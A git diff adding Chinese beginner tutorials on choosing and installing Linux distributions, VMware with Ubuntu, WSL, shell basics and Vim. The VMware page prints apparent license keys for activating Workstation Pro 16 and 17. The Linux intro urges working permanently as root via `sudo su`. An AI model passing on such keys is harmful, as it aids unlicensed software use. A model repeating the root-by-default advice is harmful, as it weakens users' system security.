+##### 安装输入法
+
+参考[Ubuntu22.04 安装 Fcitx5 中文输入法（知乎）](https://zhuanlan.zhihu.com/p/508797663)。基本都可以照做，但是不要跟着他往 `~/.bash_profile` 和 `/etc/profile` 里面丢垃圾。环境变量要写到 `~/.pam_environment` 里面，内容如下，不要和他一样带 `export`：
+
+```text
+XMODIFIERS=@im=fcitx
+GTK_IM_MODULE=fcitx
+QT_IM_MODULE=fcitx
+```
+
+提示一下，`~/` 是当前用户文件夹的简称，假如用户名是 `user`，对应的路径就是 `/home/user/`。
+
+#### Pop! OS
+
+这个不是很热门，感觉也一般，只是带了 N 卡的开箱支持，所以 N 卡用户不行可以试试看。
+
+Pop! OS 的安装程序会直接无视 Windows，建议先在 Windows 下面用 Diskgenius 之类的软件划出一个 1G 的 FAT32 分区和一个 200G 以上的 EXT4 分区，然后在安装选项里面选择高级选项，把 FAT32 分区作为 EFI，EXT4 分区作为 `/`。
+
+#### Zorin OS
+
+不得不吐槽这帮人把时间都用到魔改 Gnome 外观上面了。到现在还基于 Ubuntu focal, 都 2023 年了。连装个 fcitx5 都费劲。
+
+自带 Wine 支持，听说不错，我反正“网络不好”没安装上。
+
+#### MX Linux
+
+distrowatch 上面排名挺高，但是结合发行版实际情况感觉很有刷榜嫌疑。没有很肯定的理由选择的话，还是用 Mint 吧。
+
+### Arch based
+
+因为 Arch Linux 太强势，这里系列主要用的比较多的就是 Manjaro，所以先只写 Manjaro。后面可能会继续添加。
+
+#### Manjaro
+
+基于 Arch Linux 的开箱即用的发行版，有 Arch Linux 的部分优点，而且对新手更加易用。
+
+有过忘记更新证书的黑历史，不过这两年消停会了。
+
+安装过程如图。
+
+![](https://cdn.xyxsw.site/manjaro-1.png)
+
+![](https://cdn.xyxsw.site/manjaro-2.png)
+
+![](https://cdn.xyxsw.site/manjaro-3.png)
+
+![](https://cdn.xyxsw.site/manjaro-4.png)
+
+![](https://cdn.xyxsw.site/manjaro-5.png)
+
+这里要留意一下
+
+![](https://cdn.xyxsw.site/manjaro-6.png)
+
+如果有 Windows 这么选
+
+![](https://cdn.xyxsw.site/manjaro-install-alongside.png)
+
+![](https://cdn.xyxsw.site/manjaro-7.png)
+
+![](https://cdn.xyxsw.site/manjaro-8.png)
+
+![](https://cdn.xyxsw.site/manjaro-9.png)
+
+安装完成，重启。
+
+输入法是没有安装的，自己安装。
+
+```zsh
+sudo pacman -S fcitx5  fcitx5-configtool fcitx5-qt fcitx5-gtk fcitx5-chinese-addons kcm-fcitx5 fcitx5-lua
+kate ~/.pam_environment
+```
+
+kate 会打开 `~/.pam_environment`，接着把下面的环境变量写进去：
+
+```text
+GTK_IM_MODULE=fcitx
+QT_IM_MODULE=fcitx
+XMODIFIERS=@im=fcitx
+```
+
+### Others
+
+#### Deepin
+
+目前还是 Debian 系，鉴于他们官宣要脱离 Debian，那我就放 Other 里面了。
+
+Deepin 的本土化做的很不错，支持一些国内常用的软件。
+
+但是总是让我感觉不够 Linux，手感比较奇怪。定位类似产品而不是工具。如果想要在国内替代 Windows 可以试试看。我之前使用的时候太不稳定，小 bug 一堆。现在不知道好点没有。我建议写程序还是少用，设计哲学不一样，容易把自己带偏。
+
+#### UOS
+
+反正不是给我们用的。毕竟 root 权限还要注册他们的账号登陆，没绷住。
+
+![](https://cdn.xyxsw.site/uos-3.png)
+
+![](https://cdn.xyxsw.site/uos-4.png)
+
+顺便说下我至今没找到 UOS 的源码，只看到[一篇干巴巴的新闻](https://www.zgswcn.com/article/202212/202212211344581036.html)声称“开源了开源了真的在开源了”。也就欺负 Linux Foundation 不打跨国官司。本来不想挂人的，但是[如果 UOS 用户就这素质](https://bbs.chinauos.com/post/7543)我真忍不了：
+
+![troll](https://cdn.xyxsw.site/uos-troll.png)
+
+## Advanced(Debian, Arch Linux, etc.)
+
+面向桌面用户的进阶发行版。Red Hat 根本看不上个人用户，所以我就不自找麻烦了。
+
+### Debian
+
+Debian 的招牌就是稳定。在服务端这个优点非常明显。虽然在桌面端有些软件拖后腿导致它没那么稳，但是比起其他发行版还是更加稳定的。Debian 主要面向专业人士，桌面端不够开箱即用，需要很多额外的配置。祖传的安装界面对新手也不太友好。好在有 live 版本可以使用。
+
+Debian 的兼容性非常优秀，在其他发行版挂掉的情况下面都能稳定跑。如果遇到兼容性问题那就直接上 Debian 吧，再怎么样也比 Arch Linux 容易安装一点。而且安装配置结束基本就不会再挂了。最近的 11 和 12 两个大版本一改老旧的形象，积极拥抱新事物，值得尝试。
+
+不建议使用 Ventoy 启动 Debian 的镜像，因为 Ventoy 和 Debian 都很喜欢 hack，两者加起来容易爆炸。老老实实用 Rufus 烧录空 U 盘吧。
+
+官网下的 ISO 文件是真的多。我这里推荐下载 [Live 镜像](https://mirrors.ustc.edu.cn/debian-cd/current-live/amd64/iso-hybrid/)，因为安装相对来说比较方便直观。。下载页面很传统，而且可选的很多，但是不要紧，kde 和 gnome 二选一即可，老爷机就 lxqt。
+
+如果你的 Live 镜像出了什么锅炸掉了，可以试试 [DVD 镜像](https://mirrors.ustc.edu.cn/debian-cd/current/amd64/iso-dvd/)，祖传的安装页面很不友好，但有时候是唯一的选择。
+
+#### Live 安装
+
+这里以 Live KDE 为例子，Gnome 也是一样的。
+
+首先是祖传的选择系统。直接回车。
+
+![](https://cdn.xyxsw.site/debian-live-1.png)
+
+进来之后是不是很懵？哪里有 Install 呢？多半因为打包的志愿者忘了放快捷方式，自己左下角菜单点出来就好了。
+
+![](https://cdn.xyxsw.site/debian-live-2.png)
+
+这样点出来。
+
+![](https://cdn.xyxsw.site/debian-live-3.png)
+
+还要输入密码，密码也没告诉你。我去网上搜了一下，这个密码是 `live`。
+
+![](https://cdn.xyxsw.site/debian-live-4.png)
+
+这样就打开了安装页面了。一路下一步吧。
+
+![](https://cdn.xyxsw.site/debian-live-5.png)
+
+![](https://cdn.xyxsw.site/debian-live-6.png)
+
+![](https://cdn.xyxsw.site/debian-live-7.png)
+
+到这里，我们需要选择安装方式。我这里是虚拟机，只能看到 Erase disk 这个选项。如果有是 Windows 会出现别的选项。
+
+![](https://cdn.xyxsw.site/debian-live-8.png)
+
+在已经有 Windows 安装好的情况下面是这样的。
+
+![](https://cdn.xyxsw.site/debian-live-alongside.png)
+
+用户名和密码
+
+![](https://cdn.xyxsw.site/debian-live-9.png)
+
+双系统的用户在这一页面检查一下，别把 Windows 干掉了。
+
+![](https://cdn.xyxsw.site/debian-live-10.png)
+
+重启吧。
+
+![](https://cdn.xyxsw.site/debian-live-11.png)
+
+#### 传统安装
+
+有时候只能传统安装。思路和 Live 是差不多的，只是程序有点丑，然后有些不是很直观。看仔细点就行。一般很少用到。
+
+#### 配置系统
+
+##### 通用部分
+
+打开 Konsole(KDE) 或者 Terminal(Gnome) 准备打命令。Gnome 用户按下 Win 键即可呼出搜索。
+
+先[换源](https://mirrors.ustc.edu.cn/help/debian.html)，再[安装输入法](https://wiki.debian.org/I18n/Fcitx5)和 [flatpak](https://flathub.org/setup/Debian)，顺便换个 [flathub 源](https://mirror.sjtu.edu.cn/docs/flathub)。下面把这些教程整合起来。
+
+依次输入这些命令，看清楚要求。
+
+```bash
+# 换源
+sudo sed -i 's/deb.debian.org/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
+sudo sed -i 's/security.debian.org/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
+sudo apt update && sudo apt upgrade
+```
+
+如果出现类似 `E: 仓库 "http://mirrors.ustc.edu.cn/debian/ bookworm-security  Release" 没有 Release 文件` 的报错，请用 `sudo nano /etc/apt/sources.list` 打开，手动将 `http://mirrors.ustc.edu.cn/debian/ bookworm-security` 改成 `http://mirrors.ustc.edu.cn/debian-security/ bookworm-security`，并再次 `sudo apt update`。
+
+```bash
+# 时间同步
+sudo apt install systemd-timesyncd
+# 安装输入法
+sudo apt install --install-recommends fcitx5 fcitx5-chinese-addons
+```
+
+```bash
+# flatpak
+sudo apt install flatpak
+# 下面两个命令二选一即可
+sudo apt install plasma-discover-backend-flatpak # 对于 KDE 桌面
+sudo apt install gnome-software-plugin-flatpak # 对 Gnome 桌面
+# 添加仓库
+flatpak remote-add --if-not-exists flathub https://dl.flathub.org/repo/flathub.flatpakrepo
+# 换源
+flatpak remote-modify flathub --url=https://mirror.sjtu.edu.cn/flathub
+```
+
+对于 Nvidia 显卡，还要[安装驱动](https://wiki.debian.org/NvidiaGraphicsDrivers#Debian_12_.22Bookworm.22)。
+
+我们需要把 `non-free contrib` 这两个仓库加上。可以在文件管理器中打开 `/etc/apt/` 这个目录，双击 `sources.list` 文件。（Gnome 的文件管理器按 Win+L 可以输入路径）
+
+Gnome 会弹出一个窗口，全勾起来保存就行。
+
+![sources.list](https://cdn.xyxsw.site/sources.png)
+
+KDE 会用 Kate 打开它，每行都加上 `non-free contrib`，保存，Over.
+
+![sources.list](https://cdn.xyxsw.site/debian-kde-source.png)
+
+接下来打开命令行，执行：
+
+```bash
+sudo apt update
+sudo apt install nvidia-driver firmware-misc-nonfree
+```
+
+结束之后，重启。KDE 重启之后记得在登录页面把左下角桌面设置换成 X11。
+
+##### KDE 部分
+
+安装完大概是这样的。
+
+![](https://cdn.xyxsw.site/debian-live-12.png)
+
+打开 input method，修改输入法。注意不要开错了。
+
+![](https://cdn.xyxsw.site/debian-live-13.png)
+
+OK
+
+![](https://cdn.xyxsw.site/debian-live-14.png)
+
+YES
+
+![](https://cdn.xyxsw.site/debian-live-15.png)
+
+选中 fcitx5
+
+![](https://cdn.xyxsw.site/debian-live-16.png)
+
+OK
+
+![](https://cdn.xyxsw.site/debian-live-17.png)
+
+打开 Fcitx 5 的设置。
+
+![](https://cdn.xyxsw.site/debian-live-18.png)
+
+现在还没自动运行。平时也可以在这里启动设置。
+
+![](https://cdn.xyxsw.site/debian-live-19.png)
+
+点击右下角 Add Input Method
+
+![](https://cdn.xyxsw.site/debian-live-20.png)
+
+搜索 Pinyin，选中，Add。
+
+![](https://cdn.xyxsw.site/debian-live-21.png)
+
+默认的字体非常小，建议更改。点击 Configure addons，因为 UI 属于 Addon。至于快捷键可以在另一个设置里面改。
+
+![](https://cdn.xyxsw.site/debian-live-22.png)
+
+设置 Classic User Interface
+
+![](https://cdn.xyxsw.site/debian-live-23.png)
+
+这里可以更改字体。
+
+![](https://cdn.xyxsw.site/debian-live-24.png)
+
+然后就能使用了。
+
+![](https://cdn.xyxsw.site/debian-live-25.png)
+
+可以更改 Language 为中文了。
+
+![](https://cdn.xyxsw.site/debian-live-26.png)
+
+Flathub 上面的软件可以通过 KDE 自带的 Discover 应用中心安装。
+
+这里我们看到 flatpak 已经启用了。
+
+![](https://cdn.xyxsw.site/debian-live-27.png)
+
+##### Gnome
+
+Gnome 开箱状态就是残废，本来应该是官方做的事情，结果 Gnome 摆 Debian 也摆，都丢给用户了。
+
+Gnome 一上来就让你改语言，改中文就行，然后一路下一步。下次重启可能会问你是否更改文件名称，选择否。
+
+![](https://cdn.xyxsw.site/debian-live-gnome1.png)
+
+然后按下 Win 键进入菜单，呼出 Terminal, 安装一些插件。
+
+![](https://cdn.xyxsw.site/debian-live-gnome2.png)
+
+![](https://cdn.xyxsw.site/debian-live-gnome3.png)
+
+```bash
+sudo apt install gnome-shell-extension-dashtodock gnome-shell-extension-desktop-icons-ng gnome-shell-extension-kimpanel
+```
+
+我们之前已经装好 fcitx5, 所以这里启用就行。
+
+![](https://cdn.xyxsw.site/debian-live-gnome4.png)
+
+![](https://cdn.xyxsw.site/debian-live-gnome5.png)
+
+一切完成，重启。
+
+![](https://cdn.xyxsw.site/debian-live-gnome6.png)
+
+打开 Extension，启用任务栏，桌面图标和输入法面板的拓展。
+
+![](https://cdn.xyxsw.site/debian-live-gnome10.png)
+
+![](https://cdn.xyxsw.site/debian-live-gnome7.png)
+
+打开 tweaks, 启用最大化和最小化按钮。当然 2k 屏幕也可以改改缩放。
+
+![](https://cdn.xyxsw.site/debian-live-gnome8.png)
+
+![](https://cdn.xyxsw.site/debian-live-gnome9.png)
+
+差不多能用了，剩下可以自己折腾。
+
+#### Trouble shooting
+
+##### 没有 sudo 权限
+
+多半是打包的忘了加上去，自己加一下就好了。
+
+```bash
+su root
+sudo usermod -a -G sudo <你的用户名>
+```
+
+### Arch Linux
+
+邪教教主。好用是真的好用，邪教也是真的邪教。建议有事没事看那边的 wiki，写的是真的很好。
+
+安装教程我就不再班门弄斧了，可以自己看。
+
+### Fedora
+
+以后写吧，不会比 Debian 难的。
+
+### OpenSUSE
+
+为数不多官方 KDE 的发行版，可能是因为他们总部都在德国。感觉 SUSE 中规中矩，这么多年都没搞出什么大新闻。
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.3VMware的安装与安装Ubuntu22.04系统.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.3VMware的安装与安装Ubuntu22.04系统.md
new file mode 100644
index 0000000..030d14b
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.3VMware的安装与安装Ubuntu22.04系统.md
@@ -0,0 +1,119 @@
+# VMware 的安装与安装 Ubuntu22.04 系统
+
+::: warning
+一般与 wsl 安装二选一，因为都是虚拟系统，安装了 wsl 不用 VMware
+
+文章撰写于 2022 年，可能其中的一些内容已过时。
+:::
+
+首先下载 VMware
+
+如果是 pro16 版本（key **ZF3R0-FHED2-M80TY-8QYGC-NPKYF**）
+
+如果是 pro17 版本（key **JU090-6039P-08409-8J0QH-2YR7F**）
+
+本文写的时候用的版本是 pro16，但目前已经更新到 pro17 所以来更新个 key（如下安装与 16 版本无异）
+
+[https://www.vmware.com/products/workstation-pro/workstation-pro-evaluation.html](https://www.vmware.com/products/workstation-pro/workstation-pro-evaluation.html)
+
+一路下一步
+
+![](https://cdn.xyxsw.site/boxcntUYJNAaOwB8L6KSEhJJojh.png)
+
+![](https://cdn.xyxsw.site/boxcnQkVQ4uyYCveO6toBujoGOc.png)
+
+这俩我推荐勾掉
+
+![](https://cdn.xyxsw.site/boxcndgDKfTuio3nF0QboemIPHe.png)
+
+安装过后点许可证    输上面的 key 激活
+
+[https://mirror.nju.edu.cn/ubuntu-releases/22.04](https://mirror.nju.edu.cn/ubuntu-releases/22.04)
+
+去这里下载 Ubuntu22.04 镜像包 iso 选择 `ubuntu-<version>-desktop-amd64.iso`
+
+:::tip
+这里推荐使用多线程下载器下载，比如 [IDM](../2.高效学习/2.2优雅的使用工具)，如果直接用浏览器下载（线程少）可能会出现下载慢、下载失败的情况。
+:::
+
+下好回到 VMware
+
+![](https://cdn.xyxsw.site/boxcnGHnjgZvtcBrm0XXitFl4Jg.png)
+
+创建新的虚拟机 - 典型（推荐）- 下一步 - 安装程序 iso 选中你刚下的 iso  下一步
+
+![](https://cdn.xyxsw.site/boxcnXilUhHNEyU4r95FxiVgCdg.png)
+
+这里填你一会儿要登录 linux 的个人信息
+
+![](https://cdn.xyxsw.site/boxcnp33Oc3Ia2HzASTZJNOhEWb.png)
+
+这里建议把位置改到其他盘
+
+一路下一步直到完成
+
+启动后进入 Ubuntu 安装
+
+![](https://cdn.xyxsw.site/boxcn5Uk41JyjjdTzXWQqUkexzc.png)
+
+键盘映射  直接 continue
+
+接下来一路 continue  install now
+
+![](https://cdn.xyxsw.site/boxcnLxZnyFN3ohE8zrTwNaCA8e.png)
+
+最后 restart
+
+![](https://cdn.xyxsw.site/boxcnLguvbHihJ3ngqrtyGLI6zf.png)
+
+![](https://cdn.xyxsw.site/boxcnCX92JHjg8PU3quKs4GziZb.png)
+
+![](https://cdn.xyxsw.site/boxcnL5Jn3g7AdzVzoBb6ZINs1f.png)
+
+这个 skip
+
+后面一路 next 最后 done
+
+点右上角 settings
+
+![](https://cdn.xyxsw.site/boxcn85Yb3JIQ3520KeaSoyPVDd.png)
+
+![](https://cdn.xyxsw.site/boxcnZLHO1JGWoSqhM9zEEhSMAd.png)
+
+![](https://cdn.xyxsw.site/boxcnvLxCTKYfogPm9GNaKmusEf.png)
+
+然后按指引 restart 系统
+
+![](https://cdn.xyxsw.site/boxcn30VJILYpO81pq89mAmzjTf.png)
+
+会提示你要不要重新命名这些用户下的文件夹
+
+我建议选 `keep old names`
+
+如果你的语言还没有变过来的话
+
+![](https://cdn.xyxsw.site/boxcnKzJjY8Dvj13A49bnMAztPg.png)
+
+点击这个他会安装语言
+
+![](https://cdn.xyxsw.site/boxcndHnAuGC7TXhQgLkpLkHghf.png)
+
+把汉语拖到英文之上 点应用到整个系统
+
+![](https://cdn.xyxsw.site/boxcnltCL3atXHtC3BUj5VI1Lqf.png)
+
+右上角 logout 重新登陆 就是中文辣
+
+最后在设置 - 电源把息屏改成从不
+
+![](https://cdn.xyxsw.site/boxcnnLCJzGoFrUbWIMAPGFkxcb.png)
+
+**至此 恭喜安装完成！**
+
+之后就可以在桌面上右键
+
+![](https://cdn.xyxsw.site/boxcnG6z1VpAYUGMSkSwDBUxEvf.png)
+
+打开命令行
+
+**开始你的 Linux 学习吧**
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.4WSL的安装.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.4WSL的安装.md
new file mode 100644
index 0000000..a73d528
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.4WSL的安装.md
@@ -0,0 +1,25 @@
+# WSL 的安装
+
+::: warning 💡与 VMware 安装二选一 安装了 VMware 不用 wsl
+:::
+
+先说**坏处**：
+
+1. 开启 hyperv 的后果是 如果你电脑装模拟器玩手游的话 装了 hyperv 你的模拟器是打不开的（目前只有 `蓝叠国际版HyperV版`（性能很差）支持共存 hyperv 和模拟器）
+2. WSL 很难装辣 安装过程中会出很多 bug 需要你自行 STFW
+
+## **官方文档**
+
+## [史上最全的 WSL 安装教程](https://blog.csdn.net/wojiuguowei/article/details/122100090)
+
+笔者不清楚当前版本 wsl 安装步骤 但是笔者安装的时候是需要在 `windows 功能` 中开启这三项
+
+（现在可能是只开 `适用于Linux的windows子系统`）
+
+![](https://cdn.xyxsw.site/boxcnYVkEecWdUs710e8h6G9GTh.png)
+
+如果你的 windows 版本为**家庭版**  那么 hyperv 选项是没有的
+
+你需要右键以管理员权限打开以下脚本来强行开启 hyperv
+
+![](https://cdn.xyxsw.site/boxcnoCF5MilDma33yviwRGdDHe.png)
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.5Linux初探索.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.5Linux初探索.md
new file mode 100644
index 0000000..ec08d3b
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.5Linux初探索.md
@@ -0,0 +1,158 @@
+# Linux 初探索
+
+如果你是第一次接触 linux，请一边仔细阅读，一边尝试敲命令在终端内。
+
+有一点非常重要，这章节的内容到后面会略为困难，并且 linux 知识繁杂多样。
+
+希望你可以参考这个链接！
+[一些基本常识](https://linux.cn/article-6160-1.html)
+
+当然，你也可以从蓝桥云课开始，不过学会 linux 的最好办法是删掉你的 windows 换一个 linux 系统当开发环境，比任何临时的训练都有效！
+
+[蓝桥云课-Linux 基础入门](https://www.lanqiao.cn/courses/1)
+
+## 探索命令行
+
+Linux 命令行中的命令使用格式都是相同的：
+
+```bash
+命令名称 参数1 参数2 参数3 ...
+```
+
+参数之间用任意数量的空白字符分开。关于命令行，可以先阅读[一些基本常识](https://linux.cn/article-6160-1.html). 然后我们介绍最常用的一些命令：
+
+- （重要）首先教一个命令 `sudo su` 进入 root 账户（敲完之后会让你敲当前登录账户的密码 密码敲得过程中没有*****这种传统敲密码的提示 为 linux 传统艺能 其实是敲进去了），因为本身普通账户没什么权限，会出现处处的权限提示，建议直接使用 root 账户。
+
+```txt
+这里有一个彩蛋（如果你用的是 centos 的话）
+当用户第一次使用 sudo 权限时 CentOS 的系统提示：
+我们信任您已经从系统管理员那里了解了日常注意事项。
+总结起来无外乎这三点：
+#1) 尊重别人的隐私。
+#2) 输入前要先考虑 (后果和风险)。
+#3) 权力越大，责任越大。
+```
+
+- `ls` 用于列出当前目录 (即"文件夹") 下的所有文件 (或目录). 目录会用蓝色显示。`ls -l` 可以显示详细信息。
+- `pwd` 能够列出当前所在的目录。
+- `cd DIR` 可以切换到 `DIR` 目录。在 Linux 中，每个目录中都至少包含两个目录：`.` 指向该目录自身，`..` 指向它的上级目录。文件系统的根是 `/`.
+- `touch NEWFILE` 可以创建一个内容为空的新文件 `NEWFILE`, 若 `NEWFILE` 已存在，其内容不会丢失。
+- `cp SOURCE DEST` 可以将 `SOURCE` 文件复制为 `DEST` 文件; 如果 `DEST` 是一个目录，则将 `SOURCE` 文件复制到该目录下。
+- `mv SOURCE DEST` 可以将 `SOURCE` 文件重命名为 `DEST` 文件; 如果 `DEST` 是一个目录，则将 `SOURCE` 文件移动到该目录下。
+- `mkdir DIR` 能够创建一个 `DIR` 目录。
+- `rm FILE` 能够删除 `FILE` 文件; 如果使用 `-r` 选项则可以递归删除一个目录。删除后的文件无法恢复，使用时请谨慎！
+- `man` 可以查看命令的帮助。例如 `man ls` 可以查看 `ls` 命令的使用方法。灵活应用 `man` 和互联网搜索，可以快速学习新的命令。
+
+`man` 的功能不仅限于此。`man` 后可以跟两个参数，可以查看不同类型的帮助 (请在互联网上搜索). 例如当你不知道 C 标准库函数 `freopen` 如何使用时，可以键入命令
+
+```bash
+man 3 freopen
+```
+
+### **统计代码行数**
+
+第一个例子是统计一个目录中 (包含子目录) 中的代码行数。如果想知道当前目录下究竟有多少行的代码，就可以在命令行中键入如下命令：
+
+```bash
+find . | grep '\.c$\|\.h$' | xargs wc -l
+```
+
+如果用 `man find` 查看 `find` 操作的功能，可以看到 `find` 是搜索目录中的文件。Linux 中一个点 `.` 始终表示 Shell 当前所在的目录，因此 `find .` 实际能够列出当前目录下的所有文件。如果在文件很多的地方键入 `find .`, 将会看到过多的文件，此时可以按 `CTRL + c` 退出。
+
+同样，用 `man` 查看 `grep` 的功能——"print lines matching a pattern". `grep` 实现了输入的过滤，我们的 `grep` 有一个参数，它能够匹配以 `.c` 或 `.h` 结束的文件。正则表达式是处理字符串非常强大的工具之一，每一个程序员都应该掌握其相关的知识。? 上述的 `grep` 命令能够提取所有 `.c` 和 `.h` 结尾的文件。
+
+刚才的 `find` 和 `grep` 命令，都从标准输入中读取数据，并输出到标准输出。关于什么是标准输入输出，请参考[这里](http://en.wikipedia.org/wiki/Standard_streams). 连接起这两个命令的关键就是管道符号 `|`. 这一符号的左右都是 Shell 命令，`A | B` 的含义是创建两个进程 `A` 和 `B`, 并将 `A` 进程的标准输出连接到 `B` 进程的标准输入。这样，将 `find` 和 `grep` 连接起来就能够筛选出当前目录 (`.`) 下所有以 `.c` 或 `.h` 结尾的文件。
+
+我们最后的任务是统计这些文件所占用的总行数，此时可以用 `man` 查看 `wc` 命令。`wc` 命令的 `-l` 选项能够计算代码的行数。`xargs` 命令十分特殊，它能够将标准输入转换为参数，传送给第一个参数所指定的程序。所以，代码中的 `xargs wc -l` 就等价于执行 `wc -l aaa.c bbb.c include/ccc.h ...`, 最终完成代码行数统计。
+
+### **统计磁盘使用情况**
+
+以下命令统计 `/usr/share` 目录下各个目录所占用的磁盘空间：
+
+```bash
+du -sc /usr/share/* | sort -nr
+```
+
+`du` 是磁盘空间分析工具，`du -sc` 将目录的大小顺次输出到标准输出，继而通过管道传送给 `sort`. `sort` 是数据排序工具，其中的选项 `-n` 表示按照数值进行排序，而 `-r` 则表示从大到小输出。`sort` 可以将这些参数连写在一起。
+
+然而我们发现，`/usr/share` 中的目录过多，无法在一个屏幕内显示。此时，我们可以再使用一个命令：`more` 或 `less`.
+
+```bash
+du -sc /usr/share/* | sort -nr | more
+```
+
+此时将会看到输出的前几行结果。`more` 工具使用空格翻页，并可以用 `q` 键在中途退出。`less` 工具则更为强大，不仅可以向下翻页，还可以向上翻页，同样使用 `q` 键退出。这里还有一个[关于 less 的小故事](http://en.wikipedia.org/wiki/Less_(Unix)).
+
+### **在 Linux 下编写 Hello World 程序**
+
+Linux 中用户的主目录是 `/home/用户名称`, 如果你的用户名是 `user`, 你的主目录就是 `/home/user`. 用户的 `home` 目录可以用波浪符号 `~` 替代，例如临时文件目录 `/home/user/Templates` 可以简写为 `~/Templates`. 现在我们就可以进入主目录并编辑文件了。如果 `Templates` 目录不存在，可以通过 `mkdir` 命令创建它：
+
+```bash
+cd ~
+mkdir Templates
+```
+
+创建成功后，键入
+
+```bash
+cd Templates
+```
+
+可以完成目录的切换。注意在输入目录名时，`tab` 键可以提供联想。
+
+#### 你感到键入困难吗？
+
+::: warning 💡 你可能会经常要在终端里输入类似于
+
+cd AVeryVeryLongFileName
+
+的命令，你一定觉得非常烦躁。回顾上面所说的原则之一：如果你感到有什么地方不对，就一定有什么好办法来解决。试试 `tab` 键吧。
+
+Shell 中有很多这样的小技巧，你也可以使用其他的 Shell 例如 zsh, 提供更丰富好用的功能。总之，尝试和改变是最重要的。
+:::
+
+进入正确的目录后就可以编辑文件了，开源世界中主流的两大编辑器是 `vi(m)` 和 `emacs`, 你可以使用其中的任何一种。如果你打算使用 `emacs`, 你还需要安装它
+
+```bash
+apt-get install emacs
+```
+
+`vi` 和 `emacs` 这两款编辑器都需要一定的时间才能上手，它们共同的特点是需要花较多的时间才能适应基本操作方式 (命令或快捷键), 但一旦熟练运用，编辑效率就比传统的编辑器快很多。
+
+进入了正确的目录后，输入相应的命令就能够开始编辑文件。例如输入
+
+```bash
+vi hello.c
+或emacs hello.c
+```
+
+就能开启一个文件编辑。例如可以键入如下代码 (对于首次使用 `vi` 或 `emacs` 的同学，键入代码可能会花去一些时间，在编辑的同时要大量查看网络上的资料):
+
+```c
+#include <stdio.h>
+int main(void) {
+  printf("Hello, Linux World!\n");
+  return 0;
+}
+```
+
+> 相信你在写完代码之后苦于不知道怎么保存并退出，不用担心，这个是正常的，毕竟上面提到的两个文本编辑器都是以入门时的学习曲线极其陡峭而著称。
+> 对于 vi(m) 风格的编辑器，你需要先按 `ESC` 返回 NORMAL 模式（具体处于那个模式可以观察窗口左下角，NORMAL 模式是空白的），再输入 `:wq` 来保存并退出（注意 `:` 是输入的一部分）（`:q 仅退出` `:q! 不保存退出` ）
+>
+> [【保姆级入门】Vim 编辑器](https://www.bilibili.com/video/BV13t4y1t7Wg)
+>
+> <Bilibili bvid='BV13t4y1t7Wg'/>
+
+保存后就能够看到 `hello.c` 的内容了。终端中可以用 `cat hello.c` 查看代码的内容。如果要将它编译，可以使用 `gcc` 命令：
+
+```bash
+gcc hello.c -o hello
+```
+
+`gcc` 的 `-o` 选项指定了输出文件的名称，如果将 `-o hello` 改为 `-o hi`, 将会生成名为 `hi` 的可执行文件。如果不使用 `-o` 选项，则会默认生成名为 `a.out` 的文件，它的含义是 [assembler output](http://en.wikipedia.org/wiki/A.out). 在命令行输入
+
+```bash
+./hello
+```
+
+就能够运行该程序。命令中的 `./` 是不能少的，点代表了当前目录，而 `./hello` 则表示当前目录下的 `hello` 文件。与 Windows 不同，Linux 系统默认情况下并不查找当前目录，这是因为 Linux 下有大量的标准工具 (如 `test` 等), 很容易与用户自己编写的程序重名，不搜索当前目录消除了命令访问的歧义。
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.6Vim初探索.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.6Vim初探索.md
new file mode 100644
index 0000000..4875bb6
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.6Vim初探索.md
@@ -0,0 +1,76 @@
+# Vim 初探索
+
+## 下载 vim
+
+vim 被称为编辑器之神
+
+::: warning 💡 看到这一句可能就激发了你学习 vim 的热情，但是看完整篇文章和文章里面的所有参考资料，可能这股来之不易的热情也早就消失了。为了避免这种情况，我给一个小小的建议：
+
+1. 首先学会盲打，不会的话，不是很建议用 vim / Emacs 这样的编辑器，还是拥抱鼠标吧
+2. 学习使用 hjklia 这六个键，然后理解插入模式和普通模式，再了解怎么退出
+3. 使用 vim 作为日常的编辑工具，在你所有的代码编辑器里面都装上 vim 插件并使用，强迫自己习惯 hjkl 的移动和带模式的输入，习惯按 `<ESC>`
+4. 到这个时候你就会感觉的确可以不用鼠标了，但是有的时候会比较别扭，比如想新建一行时，得按 L 移到行尾，然后按 a 追加，再按回车，远远比鼠标麻烦有没有，这种情况就可以上网查询，`vim 如何新建一行`，就会学到 o 可以向下新建一行，O 可以向上新建一行，然后你就能自然地学会更多的操作。
+:::
+
+因为其具有着非常完整的生态以及诸多配套的插件，但是第一次使用得你可能感觉很不习惯。
+
+讲一个笑话，你如何获得一个随机字符串，只要让新人使用 vim 就好了。
+
+::: waning 💡 不开玩笑，为了让你不小心在命令行模式下进入 vim 又不知道怎么退出时不需要拔电源来退出，先按几次 `<ESC>` 键（避免你之前不小心按到了 i 或 a 或 o 或等等按键）进入普通模式，然后顺序敲击 `:q`(冒号 和 q 两个按键 )，再按回车就可以退出了。
+:::
+
+```bash
+apt-get install vim
+```
+
+但是我仍然推荐你尝试使用或者结合 VSC 一起使用，使用习惯后将有效提高你的开发效率。
+
+## 如何学习 vim
+
+作为程序员，我们大部分时间都花在代码编辑上，所以花点时间掌握某个适合自己的编辑器是非常值得的。通常学习使用一个新的编辑器包含以下步骤：
+
+- 阅读教程（比如这节课以及我们为您提供的资源）
+- 坚持使用它来完成你所有的编辑工作（即使一开始这会让你的工作效率降低）
+- 随时查阅：如果某个操作看起来像是有更方便的实现方法，一般情况下真的会有。
+
